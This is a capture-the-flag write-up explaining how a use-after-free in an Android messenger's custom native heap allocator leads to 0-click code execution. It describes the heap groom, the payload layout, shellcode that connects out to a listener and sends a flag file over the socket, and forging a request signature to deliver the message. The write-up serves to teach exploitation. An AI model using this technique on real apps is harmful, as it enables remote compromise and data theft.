CTF Shutlock 2026 · pwn Android
CSMS is an Android messenger: a central server, and on the victim side (the
spylock account) a client app (ctf.shutlock.csms) that fetches its new messages
on its own, every 10 s, which makes the attack 0-click.
The challenge hands us plenty to work with: the app’s APK, the C source of its
native layer (csms.c, csms_mem.c) and a live infra (the server and an Android
emulator running the victim). Every incoming message flows through Java, pure plumbing,
then into a template engine written in C (libcsms.so); that is where, inside a
homemade allocator, the bug that gives us code execution hides.
Goal: read /data/vendor/flag1.txt remotely. This is part 1 of 3: flag1 is readable
under the app’s uid; parts 2 and 3 then escalate to system and root.
TL;DR
Use-after-free in a homemade heap allocator. The template engine’s struct variable
keeps a function pointer (set_val) at its head, and the 8-byte chunk header overwrites
it on free. We force that pointer at a buffer we fill with shellcode, trigger it, and
since the heap is RWX it runs. Delivered 0-click by a single message dropped on the
server.
Reconnaissance
APK = ZIP. jadx to read, apktool for the manifest. Key points:
NotificationServiceexported + 10s poll = 0-click surface.debuggable=true(handy for attaching gdb or usingrun-asduring analysis),extractNativeLibs=false(the.sois mmap’d straight from the APK, absent from the FS), cleartext HTTP.- We control every byte of the message:
contentis hex JSON ->parseHex->byte[], zero filtering. - Flow: server ->
Message.from()->msg.getText()->evaluate()native. All the Java is just plumbing; the vuln is in the C.
The C runs a tiny template language: {{ name = value }} creates/reassigns a variable,
{{ name }} renders it. That variable machine is what’s broken.
Vulnerability analysis
The homemade allocator (csms_mem.c)
A bump allocator with a free-block cache. 8-byte header (just size), and a single
global free_list. The heap is mmap’d RWX.
struct chunk_t { size_t size; struct chunk_t *next; };
static int init_heap() {
heap_base = mmap(NULL, heap_capacity, PROT_READ | PROT_WRITE | PROT_EXEC, ...);
heap_ptr = heap_base;
}
static struct chunk_t *find_free(size_t size) {
struct chunk_t *prev = NULL, *curr = free_list;
for (; curr; curr = curr->next) {
if (curr->size == size) {
if (prev == NULL) free_list = curr->next;
else prev->next = curr->next;
return USER_DATA(curr);
}
prev = curr;
}
return NULL;
}
void *smalloc(size_t memorySize) {
size_t user_size = ALIGN(memorySize - 1, META_SIZE);
if (res = find_free(user_size)) return res;
res = heap_ptr; res->size = user_size; heap_ptr += META_SIZE + user_size;
return USER_DATA(res);
}
void sfree(void *user_data) {
struct chunk_t *chunk = GET_PTR(user_data);
chunk->next = free_list;
free_list = chunk;
}
Three facts that, put end to end, kill the app:
1. 8-byte header -> next overlaps user data. An allocated chunk is
[size 8B][ data... ]. When you free it, sfree writes chunk->next into the first 8
bytes of the data area. In other words, the first field of any freed object gets
clobbered by a free_list pointer, and that is the mainspring of the whole exploit.
2. sfree nulls nothing and dedups nothing. It pushes onto the list head and
that’s it. The caller keeps its pointer to a now-recyclable chunk: textbook
use-after-free. No anti-double-free either.
3. Single free_list, all sizes mixed. The sort by size happens at retrieval
(find_free looks for an exact size), not at storage. So sfree(B) of size 248 then
sfree(S) of size 288 still chains S->next = &B. Objects of different sizes end up
linked. We use that to point a pointer inside struct S at a buffer B we control.
The struct that carries the function pointer
Every template variable is a struct variable, and the trap is its layout:
struct variable {
void (*set_val)(struct variable *, char *, size_t); // +0x00
void (*erase)(struct variable *); // +0x08
char name[MAX_VARIABLES]; // +0x10
char *val;
size_t val_size;
};
static void set_val(struct variable *this, char *val, size_t val_size) {
sfree(this->val);
this->val = val;
this->val_size = val_size;
}
static void erase(struct variable *this) {
sfree(this->val);
sfree(this);
}
set_val is a function pointer at offset 0. And offset 0 is exactly where sfree
writes next (fact #1). And here is where it’s called, in handle_assignment:
var_idx = get_variable(var_name);
if (var_idx > -1) {
struct variable *var = variables[var_idx];
if (var_value != NULL) {
var->set_val(var, var_value, val_size); // call [var]
...
} else {
var->erase(var);
}
}
var->set_val(...) compiles to mov r8, [var]; call r8. Since set_val sits at the
head of the struct, controlling the struct’s offset 0 = controlling RIP. And the
heap is RWX, so no need for ROP: we jump straight into bytes we wrote.
The UAF -> RIP chain
The exploit is leakless: the bug builds the pointer for us. We leave the struct dangling
(without reallocating it) and abuse two effects of sfree:
erasedoessfree(this->val)thensfree(this): that secondfreewritesnextat the struct’s offset 0, soset_valpoints exactly at a buffer we just freed and control. No ASLR to break.- the name survives:
sfreeonly writes offset 0,namestays intact, so we can re-trigger the variable by its original name.
A subtlety: reassigning an existing variable only touches its value buffer (where
set_val points), without reallocating a struct. That’s the vehicle for dropping the
shellcode there.
Final sequence, a single message, with U (survivor) and T (decoy):
{{U=val}}createsUand allocates its bufferB_U.{{T=val}}createsTand allocatesB_T.{{T=}}erasesT:sfree(B_T)thensfree(S_T). The structS_Tstays dangling,S_T.set_val = &B_T, the name"T"intact.{{U=val}}reassignsU: we reclaimB_T(exact size) and fill it withval = shellcode.{{T=z}}fires:get_variable("T")findsS_T,var->set_val = &B_T,call, shellcode.
Debug environment
We can’t dlopen the real .so on desktop (Android build). Since we have the source,
we recompile csms.c + csms_mem.c with a small main() and a
jni.h stub, to call evaluate() directly under gdb/pwndbg. The harness reads one hex
message per line on stdin, all in the same process: the globals (free_list, heap)
persist across messages just like the Android service, which lets us unfold the UAF
message by message and tune the whole groom locally before touching the emulator.
printf '7b7b613d414141417d7d\n7b7b617d7d\n' | ./csms_dbg # {{a=AAAA}} then {{a}}
gdb --args ./csms_dbg # b evaluate / b sfree
Exploitation strategy
val: the chunk is executed from its header, so it has to decode into rax-safe NOPs
(target -O2: rcx=rdx=1, rax=valid chunk at the call) before the sled.
val = b"\x90"*8 + b"\xc0" + b"\x90"*(247-9-len(sc)) + sc # 247 B -> chunk 248 (0xF8)
Byte constraints (val + shellcode): no 0x20 (word terminator in get_word), no
0x7d7d (}}), 0x00 OK. Byte-clean callback port: 4444=0x115C OK, 8443=0x20FB
forbidden.
Shellcode (raw syscalls, no shell because of SELinux+seccomp):
socket -> connect(10.0.2.2:4444) -> open(/data/vendor/flag1.txt) -> read -> write(sock) -> exit.
10.0.2.2 is the alias the Android emulator gives the host machine (the host loopback
as seen from the AVD): that’s where our listener sits.
0-click delivery: public SALT -> sig = sha256(SALT+username), forgeable. Three API
calls (register, conversations/new with the victim, messages/new with
text=payload.hex()). The victim’s poll evaluates the message on its own within 10s.
Flag & wrap-up
SHLK{..} exfiltrated 0-click.
- Native Android pwn = Linux pwn inside an app; the hard part is reaching the C. x86_64 emulator = standard tooling, no ARM.
- Auditing an unknown allocator = looking for what it does NOT do (no NULLing, no dedup, no per-bin sorting).
- An 8-byte header overlapping the data turns a fptr at a struct’s head into an easy target, no leak: the bug builds the pointer itself.
- Recompiling the source into a desktop harness beats the emulator for iterating on the heap.
- Check your success signal before doubting your payload.
References
- Maddie Stone, Android App Reverse Engineering 101 (native/JNI)
- HackTricks, Reversing Native Libraries
- Debugging a native lib with gdb/lldb
- lolcads, Android userspace exploitation (heap/Scudo, native app)
- N4TIVE, Android native pwn challenges (.so, JNI, UAF)
- Running the emulator from the command line